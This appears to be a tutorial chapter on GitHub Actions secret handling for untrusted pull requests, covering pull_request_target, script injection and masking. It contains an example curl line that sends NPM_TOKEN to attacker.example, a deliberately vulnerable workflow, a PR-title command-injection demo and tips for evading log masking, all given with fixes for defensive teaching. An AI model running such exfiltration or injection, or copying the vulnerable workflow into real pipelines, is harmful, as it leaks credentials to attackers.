Ch. 16 · Git & CI/CD

CI Secrets and Untrusted Contributions

Fork pull requests run code you didn't write. How GitHub Actions withholds secrets, and how pull_request_target and script injection leak them.

~6 min readintermediateupdated Oct 7, 2026

A CI job is a computer that runs whatever the repository tells it to. When the repository content comes from a stranger’s pull request, the job is running a stranger’s code. If that job also has your deploy token, cloud credentials or package-publishing key, the stranger has them too. It doesn’t matter how carefully the secret is “masked” in logs. Code that can read an environment variable can send it anywhere.

That’s the core of this interview topic: secrets and untrusted code must never meet in the same job. The details are about where the platform draws that line for you, the ways workflows accidentally cross it, and what to use instead of long-lived secrets in the first place.

What GitHub does by default for fork PRs

When someone opens a pull request from a fork, a workflow triggered by pull_request runs the fork’s version of the workflow file and the fork’s code. To make that safe, GitHub withholds repository and organization secrets from the run (except GITHUB_TOKEN), and gives GITHUB_TOKEN read-only permissions. For first-time contributors, a maintainer must also approve the run before it starts, depending on the repository setting.

That design means a malicious PR can modify the workflow, add curl attacker.example --data "$NPM_TOKEN" to a test script, and get nothing, because NPM_TOKEN is empty in that run. Pull requests from Dependabot are treated similarly and use a separate set of Dependabot secrets.

Pull requests from branches inside the same repository are different: those authors already have write access, so the workflow gets secrets. Anyone who can push a branch can exfiltrate every secret available to workflows on that branch. That’s an argument for limiting who has write access and for scoping secrets to environments, covered below.

pull_request_target: the trigger that hands out secrets

Some tasks on fork PRs genuinely need write access: labelling a PR, posting a comment with test coverage. For that, GitHub provides pull_request_target. It runs the workflow file from the base branch, not the PR, in the context of the base repository, with secrets and a token that can write.

That’s safe as long as the job never runs the PR’s code. The dangerous pattern, often called a “pwn request,” looks like this:

on: pull_request_target
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # the fork's code
      - run: npm ci && npm test                             # runs it, with secrets
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
yaml

npm ci runs install scripts from the PR’s package.json, and npm test runs whatever the PR says test is. Both execute with NPM_TOKEN in the environment and a writable GITHUB_TOKEN. The workflow file itself came from your base branch, which is exactly why reviewers miss it: the attack is in the code being checked out, not in the YAML.

The fix is to split the work. Build and test untrusted code with pull_request (no secrets). If you need to post results, have that workflow upload them as an artifact, and use a separate workflow_run workflow that downloads the artifact and comments. Treat the artifact’s content as untrusted data while you do it.

Script injection through event fields

Even workflows that never run PR code can be hijacked by text the attacker controls: PR titles, branch names, issue bodies and commit messages. The ${{ }} expression is substituted into the script before the shell runs it, so text can become code:

- run: echo "Checking PR title: ${{ github.event.pull_request.title }}"
yaml

Here’s what that substitution does with a hostile title, reproduced in plain bash:

TITLE='Fix typo"; echo "INJECTED: running attacker code with $DEPLOY_TOKEN"; echo "'
export DEPLOY_TOKEN=ghp_example_not_real

echo "--- unsafe: expression pasted into the script text"
script="echo \"Checking PR title: $TITLE\""
bash -c "$script"

echo "--- safe: title passed as an environment variable"
PR_TITLE="$TITLE" bash -c 'echo "Checking PR title: $PR_TITLE"'
Terminal
--- unsafe: expression pasted into the script text
Checking PR title: Fix typo
INJECTED: running attacker code with ghp_example_not_real

--- safe: title passed as an environment variable
Checking PR title: Fix typo"; echo "INJECTED: running attacker code with $DEPLOY_TOKEN"; echo "
Text

The quote in the title closed the string, and the rest ran as a command with the token in scope. In the second version the title arrives as data in an environment variable, and the shell never parses it as code. In workflow YAML:

- run: echo "Checking PR title: $PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
yaml

This matters most in pull_request_target, issue_comment and issues workflows, which run with secrets and are triggered by text anyone can write.

Masking is a convenience, not a control

GitHub replaces registered secret values with *** in logs. That’s useful against accidentally printing a token. It isn’t protection against code that wants the secret: masking matches the exact string, so a script that prints the secret base64-encoded, reversed or split into pieces gets past it, and code that sends the secret over the network never writes it to the log at all. Structured values are also a problem; if you store a JSON blob as one secret, individual fields inside it aren’t registered separately.

So don’t reason “it’s masked, so it’s safe to expose to this job.” Reason about which code runs in the job.

Shrinking what a leak can do

Assume a secret will leak one day and limit the damage:

  • Replace long-lived keys with OIDC. GitHub Actions can request a short-lived OpenID Connect token that AWS, Azure, Google Cloud and others exchange for temporary credentials. The cloud side can restrict trust to a specific repository, branch or environment, for example only repo:acme/shop:environment:production. Nothing long-lived is stored to steal.
  • Use environments for deploy secrets. Secrets attached to a production environment are only available to jobs that reference that environment, and the environment can require a reviewer’s approval and allow only certain branches. A PR branch can’t reach them.
  • Set permissions: explicitly. Start workflows with permissions: contents: read and grant more per job. A stolen GITHUB_TOKEN that can only read code is far less useful than one that can push to main.
  • Pin third-party actions to a commit SHA. uses: some/action@v3 runs whatever that tag points to today. If the action’s repository is compromised and the tag moved, your job runs the attacker’s code with your secrets.
  • Keep secrets out of the repository. Enable secret scanning and push protection so a committed token is blocked or flagged, and rotate anything that ever reached Git history.

Interview practice

An open-source project has a workflow on pull_request_target that checks out the PR’s head commit, runs npm ci, runs the tests, and posts a coverage comment using a bot token stored as BOT_TOKEN. A security researcher reports that they could read BOT_TOKEN and NPM_PUBLISH_TOKEN (also defined as a repository secret). Explain the vulnerability and the fix.

Answer

pull_request_target runs with the base repository’s secrets and a write-capable token, and this workflow checks out and executes the fork’s code in that context. The researcher’s PR could add a postinstall script to package.json or change the test command, and that code ran with every secret the job could reach. Repository secrets are available to any workflow in the repository unless scoped to an environment, so NPM_PUBLISH_TOKEN was reachable too.

Immediate steps: disable the workflow, revoke and rotate BOT_TOKEN and NPM_PUBLISH_TOKEN, and check npm and GitHub audit logs for misuse during the exposure window.

Then restructure. Run tests on pull_request, where fork runs get no secrets and a read-only token; upload the coverage report as an artifact. Add a second workflow triggered by workflow_run on completion of the first, which downloads the artifact, treats its contents as untrusted text (no executing it, no pasting it into shell scripts through ${{ }}), and posts the comment with a token limited to pull-requests: write. Move npm publishing to a release workflow that uses a production environment with required reviewers, or better, npm’s trusted publishing via OIDC so there’s no long-lived token at all. Finally, set default permissions: contents: read at the top of every workflow.

Further reading

More in Git & CI/CD

read ✓Git & CI/CD · mid

CI Required Checks and Meaningful Validation

A green required check can hide a failed test. How pipes, skipped jobs and path filters fool branch protection, and how one gate job fixes it.

~6 min readread →
read ✓Git & CI/CD · mid

CI Caches Versus Reproducible Build Inputs

A CI cache should make builds faster, never different. Key it on every input, cache ~/.npm rather than node_modules, and use restore-keys warily.

~6 min readread →
esc